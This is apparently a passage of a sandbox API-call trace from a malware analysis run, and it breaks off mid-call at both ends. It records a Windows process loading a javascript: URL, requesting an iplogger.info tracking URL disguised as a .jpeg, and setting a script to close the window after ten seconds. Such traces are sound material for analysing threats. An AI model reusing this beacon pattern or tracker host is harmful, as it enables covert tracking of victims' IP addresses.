This=0x53de34, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30cb64 | out: ppvObject=0x30cb64*=0x53de34) returned 0x0 [0041.953] IUnknown:Release (This=0x53de34) returned 0x7 [0041.953] IUnknown:AddRef (This=0x53de34) returned 0x8 [0041.953] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5732c0 [0041.953] IUri:GetScheme (in: This=0x53de34, pdwScheme=0x30cbb0 | out: pdwScheme=0x30cbb0*=0x2) returned 0x0 [0041.953] IUri:GetAbsoluteUri (in: This=0x53de34, pbstrAbsoluteUri=0x30cb40 | out: pbstrAbsoluteUri=0x30cb40*="http://iplogger.info/1v6v97.jpeg") returned 0x0 [0041.953] IUnknown:Release (This=0x53de34) returned 0x7 [0041.953] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552738 [0041.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30cb18 | out: phkResult=0x30cb18*=0x264) returned 0x0 [0041.953] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30cb1c | out: phkResult=0x30cb1c*=0xb0) returned 0x0 [0041.953] RegOpenKeyExW (in: hKey=0xb0, lpSubKey="FEATURE_SUBDOWNLOAD_LOCKDOWN", ulOptions=0x0, samDesired=0x1, phkResult=0x30cad8 | out: phkResult=0x30cad8*=0x0) returned 0x2 [0041.953] RegOpenKeyExW (in: hKey=0x264, lpSubKey="FEATURE_SUBDOWNLOAD_LOCKDOWN", ulOptions=0x0, samDesired=0x1, phkResult=0x30cad8 | out: phkResult=0x30cad8*=0x268) returned 0x0 [0041.954] SHRegGetValueW () returned 0x2 [0041.954] SHRegGetValueW () returned 0x2 [0041.954] RegCloseKey (hKey=0x268) returned 0x0 [0041.954] RegCloseKey (hKey=0x0) returned 0x6 [0041.954] RegCloseKey (hKey=0x0) returned 0x6 [0041.954] RegCloseKey (hKey=0x264) returned 0x0 [0041.954] RegCloseKey (hKey=0xb0) returned 0x0 [0041.954] IInternetSecurityManager:MapUrlToZone (in: This=0x5444f0, pwszUrl="javascript:document.write('');", pdwZone=0x30cba8, dwFlags=0x0 | out: pdwZone=0x30cba8*=0x3) returned 0x0 [0041.954] IUnknown:QueryInterface (in: This=0x53de34, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30c8a4 | out: ppvObject=0x30c8a4*=0x53de34) returned 0x0 [0041.954] IUnknown:Release (This=0x53de34) returned 0x7 [0041.955] IUnknown:AddRef (This=0x53de34) returned 0x8 [0041.955] ParseURLW (in: pcszURL="http://iplogger.info/1v6v97.jpeg", ppu=0x30c868 | out: ppu=0x30c868) returned 0x0 [0041.955] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.955] IUnknown:AddRef (This=0x53de34) returned 0x9 [0041.955] IUnknown:AddRef (This=0x53de34) returned 0xa [0041.955] IUnknown:QueryInterface (in: This=0x53de34, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30c898 | out: ppvObject=0x30c898*=0x53de34) returned 0x0 [0041.955] IUnknown:Release (This=0x53de34) returned 0xa [0041.955] IUnknown:AddRef (This=0x53de34) returned 0xb [0041.955] IUri:GetScheme (in: This=0x53de34, pdwScheme=0x54d838 | out: pdwScheme=0x54d838*=0x2) returned 0x0 [0041.955] IUri:GetSchemeName (in: This=0x53de34, pbstrSchemeName=0x30c898 | out: pbstrSchemeName=0x30c898*="http") returned 0x0 [0041.955] _wcsnicmp (_String1="http", _String2="data", _MaxCount=0x5) returned 4 [0041.955] IUnknown:QueryInterface (in: This=0x53de34, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30c8a4 | out: ppvObject=0x30c8a4*=0x53de34) returned 0x0 [0041.955] IUnknown:Release (This=0x53de34) returned 0xb [0041.955] IUnknown:AddRef (This=0x53de34) returned 0xc [0041.955] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x10) returned 0x54ccd8 [0041.955] IInternetSession:CreateBinding (in: This=0x53f868, pbc=0x0, szUrl="http://iplogger.info/1v6v97.jpeg", pUnkOuter=0x0, ppunk=0x0, ppOInetProt=0x54cce0, dwOption=0x0 | out: ppunk=0x0, ppOInetProt=0x54cce0*=0x574918) returned 0x0 [0041.956] IUnknown:QueryInterface (in: This=0x574918, riid=0x72d76078*(Data1=0x53c84785, Data2=0x8425, Data3=0x4dc5, Data4=([0]=0x97, [1]=0x1b, [2]=0xe5, [3]=0x8d, [4]=0x9c, [5]=0x19, [6]=0xf9, [7]=0xb6)), ppvObject=0x30c828 | out: ppvObject=0x30c828*=0x0) returned 0x80004002 [0041.956] IUnknown:QueryInterface (in: This=0x574918, riid=0x72d76068*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30c838 | out: ppvObject=0x30c838*=0x574928) returned 0x0 [0041.956] IInternetPriority:SetPriority (This=0x574928, nPriority=-1) returned 0x0 [0041.956] IUnknown:Release (This=0x574928) returned 0x1 [0041.956] IUnknown:AddRef (This=0x574918) returned 0x2 [0041.957] IUnknown:QueryInterface (in: This=0x574918, riid=0x72d76158*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x30c86c | out: ppvObject=0x30c86c*=0x574918) returned 0x0 [0041.957] IInternetProtocolEx:StartEx (This=0x574918, pUri=0x53de34, pOIProtSink=0x54d784, pOIBindInfo=0x54d74c, grfPI=0x10, dwReserved=0x0) returned 0x0 [0041.957] IUnknown:AddRef (This=0x54d784) returned 0x3 [0041.957] IUnknown:AddRef (This=0x54d74c) returned 0x4 [0041.957] IUnknown:QueryInterface (in: This=0x54d74c, riid=0x75066f40*(Data1=0xa3e015b7, Data2=0xa82c, Data3=0x4dcd, Data4=([0]=0xa1, [1]=0x50, [2]=0x56, [3]=0x9a, [4]=0xee, [5]=0xed, [6]=0x36, [7]=0xab)), ppvObject=0x30c814 | out: ppvObject=0x30c814*=0x0) returned 0x80004002 [0041.957] IInternetBindInfo:GetBindInfo (in: This=0x54d74c, grfBINDF=0x574a88, pbindinfo=0x574a90 | out: grfBINDF=0x574a88*=0x20083, pbindinfo=0x574a90) returned 0x0 [0041.957] IUnknown:AddRef (This=0x54d784) returned 0x5 [0041.957] IInternetProtocolSink:ReportProgress (This=0x54d784, ulStatusCode=0x1e, szStatusText=0x0) returned 0x0 [0041.957] IInternetBindInfo:GetBindString (in: This=0x54d74c, ulStringType=0xa, ppwzStr=0x30c7e4*=0x0, cEl=0x1, pcElFetched=0x30c7e0*=0x0 | out: ppwzStr=0x30c7e4*=0x0, pcElFetched=0x30c7e0*=0x0) returned 0x0 [0042.649] IInternetBindInfo:GetBindString (in: This=0x54d74c, ulStringType=0x2, ppwzStr=0x30bfc8*=0x0, cEl=0x100, pcElFetched=0x30c7d0*=0x100 | out: ppwzStr=0x30bfc8*="*/*", pcElFetched=0x30c7d0*=0x1) returned 0x0 [0042.649] CoTaskMemAlloc (cb=0x8) returned 0x55f6d0 [0042.649] IUnknown:QueryInterface (in: This=0x54d784, riid=0x750797c8*(Data1=0x58dfc7d0, Data2=0x5381, Data3=0x43e5, Data4=([0]=0x9d, [1]=0x72, [2]=0x4c, [3]=0xdd, [4]=0xe4, [5]=0xcb, [6]=0xf, [7]=0x1a)), ppvObject=0x30c7d0 | out: ppvObject=0x30c7d0*=0x0) returned 0x80004002 [0044.850] IUnknown:QueryInterface (in: This=0x54d784, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x5749e0 | out: ppvObject=0x5749e0*=0x54d744) returned 0x0 [0044.850] IServiceProvider:QueryService (in: This=0x54d744, guidService=0x75066b20*(Data1=0x79eac9d2, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x75066b20*(Data1=0x79eac9d2, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x574b74 | out: ppvObject=0x574b74*=0x54d748) returned 0x0 [0044.850] IHttpNegotiate:BeginningTransaction (in: This=0x54d748, szUrl="http://iplogger.info/1v6v97.jpeg", szHeaders="Accept-Encoding: gzip, deflate", dwReserved=0x0, pszAdditionalHeaders=0x30bf84 | out: pszAdditionalHeaders=0x30bf84*="Accept-Language: en-US\r\n") returned 0x0 [0044.850] CreateUri (in: pwzURI="http://iplogger.info/1v6v97.jpeg", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30bf48 | out: ppURI=0x30bf48*=0x53de34) returned 0x0 [0044.851] IUnknown:AddRef (This=0x53de34) returned 0x11 [0044.851] IUnknown:QueryInterface (in: This=0x53de34, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30bea0 | out: ppvObject=0x30bea0*=0x53de34) returned 0x0 [0044.851] IUnknown:Release (This=0x53de34) returned 0x11 [0044.851] IUnknown:AddRef (This=0x53de34) returned 0x12 [0044.851] CoTaskMemAlloc (cb=0x32) returned 0x54fed0 [0044.851] IUnknown:Release (This=0x53de34) returned 0x11 [0044.851] IServiceProvider:QueryService (in: This=0x54d744, guidService=0x75066b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75066b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x574b98 | out: ppvObject=0x574b98*=0x54d748) returned 0x0 [0044.851] IHttpNegotiate2:GetRootSecurityId (in: This=0x54d748, pbSecurityId=0x30bd84, pcbSecurityId=0x574b64*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30bd84*=0x6a, pcbSecurityId=0x574b64*=0x89) returned 0x0 [0044.857] IUnknown:Release (This=0x574918) returned 0x4 [0044.857] IUnknown:Release (This=0x53de34) returned 0xf [0044.857] IUnknown:Release (This=0x53de34) returned 0xe [0044.857] IUnknown:Release (This=0x53de34) returned 0xd [0044.857] CoTaskMemFree (pv=0x0) [0044.857] IUnknown:Release (This=0x53de34) returned 0xc [0044.857] IUnknown:Release (This=0x53de34) returned 0xb [0044.857] IUnknown:AddRef (This=0x53de34) returned 0xc [0044.857] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30cc24 | out: phkResult=0x30cc24*=0x3b4) returned 0x0 [0044.857] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30cc28 | out: phkResult=0x30cc28*=0x3b8) returned 0x0 [0044.857] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="FEATURE_BLOCK_LMZ_IMG", ulOptions=0x0, samDesired=0x1, phkResult=0x30cbe4 | out: phkResult=0x30cbe4*=0x0) returned 0x2 [0044.858] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="FEATURE_BLOCK_LMZ_IMG", ulOptions=0x0, samDesired=0x1, phkResult=0x30cbe4 | out: phkResult=0x30cbe4*=0x3bc) returned 0x0 [0044.858] SHRegGetValueW () returned 0x2 [0044.858] SHRegGetValueW () returned 0x2 [0044.858] RegCloseKey (hKey=0x3bc) returned 0x0 [0044.858] RegCloseKey (hKey=0x0) returned 0x6 [0044.858] RegCloseKey (hKey=0x0) returned 0x6 [0044.858] RegCloseKey (hKey=0x3b4) returned 0x0 [0044.858] RegCloseKey (hKey=0x3b8) returned 0x0 [0044.858] IUnknown:Release (This=0x53de34) returned 0xb [0044.858] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55c498 [0044.859] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42) returned 0x55dff8 [0044.859] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.859] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x55c4d0 [0044.859] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x5527e8 [0044.859] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5527e8 | out: hHeap=0x510000) returned 1 [0044.859] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.859] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55daa8, Size=0x6c) returned 0x58bfa0 [0044.859] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ed70 | out: ppu=0x30ed70) returned 0x0 [0044.861] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30ed74 | out: ppURI=0x30ed74*=0x53c40c) returned 0x0 [0044.862] IUnknown:AddRef (This=0x53c40c) returned 0x6 [0044.862] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30ed14, dwFlags=0x0 | out: pdwZone=0x30ed14*=0xffffffff) returned 0x800c0011 [0044.862] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0044.862] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0044.862] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0044.862] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x1400, pPolicy=0x30ed18, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x30ed18*=0x0) returned 0x0 [0044.862] IUnknown:Release (This=0x53c40c) returned 0x5 [0044.862] IUnknown:Release (This=0x53c40c) returned 0x4 [0044.862] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569d80 | out: hHeap=0x510000) returned 1 [0044.862] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ed2c | out: ppu=0x30ed2c) returned 0x0 [0044.864] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30ed2c | out: ppURI=0x30ed2c*=0x53c40c) returned 0x0 [0044.864] IUnknown:AddRef (This=0x53c40c) returned 0x6 [0044.864] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30eccc, dwFlags=0x0 | out: pdwZone=0x30eccc*=0xffffffff) returned 0x800c0011 [0044.864] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0044.864] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0044.864] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0044.864] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x1400, pPolicy=0x30ecd0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x30ecd0*=0x0) returned 0x0 [0044.864] IUnknown:Release (This=0x53c40c) returned 0x5 [0044.864] IUnknown:Release (This=0x53c40c) returned 0x4 [0044.864] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ecbc | out: ppu=0x30ecbc) returned 0x0 [0044.864] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30ecbc | out: ppURI=0x30ecbc*=0x53c40c) returned 0x0 [0044.864] IUnknown:AddRef (This=0x53c40c) returned 0x6 [0044.865] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30ec5c, dwFlags=0x0 | out: pdwZone=0x30ec5c*=0xffffffff) returned 0x800c0011 [0044.865] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0044.865] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0044.865] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0044.865] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x1400, pPolicy=0x30ec60, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x30ec60*=0x0) returned 0x0 [0044.865] IUnknown:Release (This=0x53c40c) returned 0x5 [0044.865] IUnknown:Release (This=0x53c40c) returned 0x4 [0044.865] GetCurrentThreadId () returned 0x86c [0044.865] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55c508 [0044.865] StrCmpIW (psz1="javascript:document.write('');", psz2="javascript:document.write('');") returned 0 [0044.865] GetCurrentThreadId () returned 0x86c [0044.865] realloc (_Block=0x0, _Size=0xc8) returned 0x2943790 [0044.866] _wcsicmp (_String1="", _String2="") returned 0 [0044.866] SysStringLen (param_1="setInterval(function(){close();},10000);") returned 0x28 [0044.866] ??2@YAPAXI@Z () returned 0x2942e48 [0044.866] malloc (_Size=0x804) returned 0x2943860 [0044.866] ??2@YAPAXI@Z () returned 0x2944070 [0044.866] malloc (_Size=0x104) returned 0x29441d8 [0044.867] malloc (_Size=0x204) returned 0x29442e8 [0044.867] ??3@YAXPAX@Z () returned 0x1 [0044.867] malloc (_Size=0x40) returned 0x29425d8 [0044.867] malloc (_Size=0x1d0) returned 0x29444f8 [0044.867] ??2@YAPAXI@Z () returned 0x2941f78 [0044.867] free (_Block=0x2943860) [0044.867] ??3@YAXPAX@Z () returned 0x1 [0044.867] free (_Block=0x29425d8) [0044.867] free (_Block=0x29442e8) [0044.867] free (_Block=0x29441d8) [0044.867] ??2@YAPAXI@Z () returned 0x29425d8 [0044.867] ??2@YAPAXI@Z () returned 0x29446d0 [0044.868] ISystemDebugEventFire:IsActive (This=0x524298) returned 0x1 [0044.868] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30eb9c | out: ppv=0x30eb9c*=0x537288) returned 0x0 [0044.868] IUnknown:Release (This=0x537288) returned 0x1 [0044.868] GetCurrentThreadId () returned 0x86c [0044.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x28) returned 0x555ad0 [0044.869] GetCurrentThreadId () returned 0x86c [0044.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x595550 [0044.869] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0044.869] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0044.869] ??2@YAPAXI@Z () returned 0x2944750 [0044.869] ??2@YAPAXI@Z () returned 0x29447d0 [0044.870] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0044.870] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0044.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x569d80 [0044.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x58b090 [0044.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x561528 [0044.870] SetTimer (hWnd=0x9001c, nIDEvent=0x2000, uElapse=0x2710, lpTimerFunc=0x0) returned 0x2000 [0044.870] GetCurrentThreadId () returned 0x86c [0044.870] GetCurrentThreadId () returned 0x86c [0044.871] ISystemDebugEventFire:IsActive (This=0x524298) returned 0x1 [0044.871] ??3@YAXPAX@Z () returned 0x1 [0044.871] free (_Block=0x2943790) [0044.871] GetCurrentThreadId () returned 0x86c [0044.871] GetCurrentThreadId () returned 0x86c [0044.871] GetCurrentThreadId () returned 0x86c [0044.871] GetCurrentThreadId () returned 0x86c [0044.871] GetCurrentThreadId () returned 0x86c [0044.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a768 | out: hHeap=0x510000) returned 1 [0044.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5526e0 | out: hHeap=0x510000) returned 1 [0044.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.872] GetProcAddress (hModule=0x769d0000, lpProcName=0x10) returned 0x769edeeb [0044.882] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555ad0 | out: hHeap=0x510000) returned 1 [0044.882] GetCurrentThreadId () returned 0x86c [0044.882] GetCurrentThreadId () returned 0x86c [0044.883] ISystemDebugEventFire:IsActive (This=0x560cb8) returned 0x1 [0044.883] ??3@YAXPAX@Z () returned 0x1 [0044.883] free (_Block=0x29411b0) [0044.883] GetCurrentThreadId () returned 0x86c [0044.883] GetCurrentThreadId () returned 0x86c [0044.883] GetCurrentThreadId () returned 0x86c [0044.883] GetCurrentThreadId () returned 0x86c [0044.883] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.883] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x565c28 | out: hHeap=0x510000) returned 1 [0044.883] GetCurrentThreadId () returned 0x86c [0044.884] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f748 | out: ppv=0x30f748*=0x537288) returned 0x0 [0044.884] ??3@YAXPAX@Z () returned 0x1 [0044.884] free (_Block=0x2942e78) [0044.884] ??3@YAXPAX@Z () returned 0x1 [0044.884] ??3@YAXPAX@Z () returned 0x1 [0044.884] ??3@YAXPAX@Z () returned 0x1 [0044.884] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569c20 | out: hHeap=0x510000) returned 1 [0044.885] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555680 | out: hHeap=0x510000) returned 1 [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.885] free (_Block=0x2941058) [0044.885] free (_Block=0x29410a0) [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.885] free (_Block=0x2941f88) [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.885] ??3@YAXPAX@Z () returned 0x1 [0044.886] MulDiv (nNumber=16, nNumerator=100, nDenominator=21) returned 76 [0044.886] IUnknown:Release (This=0x537288) returned 0x1 [0044.886] GetTickCount () returned 0x11543a5 [0044.886] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f748 | out: ppv=0x30f748*=0x537288) returned 0x0 [0044.886] MulDiv (nNumber=0, nNumerator=100, nDenominator=5) returned 0 [0044.886] IUnknown:Release (This=0x537288) returned 0x1 [0044.886] GetTickCount () returned 0x11543a5 [0044.886] ISystemDebugEventFire:EndSession (This=0x560cb8) returned 0x0 [0044.886] IUnknown:Release (This=0x560cb8) returned 0x1 [0044.886] GetUserDefaultLCID () returned 0x409 [0044.886] GetACP () returned 0x4e4 [0044.886] ??3@YAXPAX@Z () returned 0x1 [0044.886] ??3@YAXPAX@Z () returned 0x1 [0044.886] IUnknown:Release (This=0x560cb8) returned 0x0 [0044.887] GetCurrentThreadId () returned 0x86c [0044.887] free (_Block=0x29412d8) [0044.887] ??3@YAXPAX@Z () returned 0x1 [0044.887] ??3@YAXPAX@Z () returned 0x1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x571a78 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x565c40 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533528 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x551f50 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.887] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x572eb0 | out: hHeap=0x510000) returned 1 [0044.887] IBindStatusCallback:OnStopBinding (This=0x555160, hresult=0x80004004, szError=0x0) returned 0x0 [0044.887] IBinding:RemoteGetBindResult (in: This=0x555be8, pclsidProtocol=0x30f7d8, pdwResult=0x30f7c8, pszResult=0x30f7bc, dwReserved=0x0 | out: pclsidProtocol=0x30f7d8, pdwResult=0x30f7c8*=0x80004004, pszResult=0x30f7bc*=0x0) returned 0x0 [0044.887] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30f7d4 | out: pdwScheme=0x30f7d4*=0xf) returned 0x0 [0044.888] IUnknown:QueryInterface (in: This=0x555be8, riid=0x72d99460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f798 | out: ppvObject=0x30f798*=0x0) returned 0x80004002 [0044.888] IUnknown:QueryInterface (in: This=0x556600, riid=0x72d99460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f784 | out: ppvObject=0x30f784*=0x0) returned 0x80004002 [0044.888] GetCurrentThreadId () returned 0x86c [0044.888] IUnknown:Release (This=0x555be8) returned 0x3 [0044.888] RevokeBindStatusCallback (pBC=0x54f7d0, pBSCb=0x555160) returned 0x0 [0044.888] IUnknown:Release (This=0x555164) returned 0x2 [0044.888] IUnknown:Release (This=0x555160) returned 0x1 [0044.888] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.888] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0044.888] IUnknown:Release (This=0x54f7d0) returned 0x1 [0044.888] HeapFree (in: 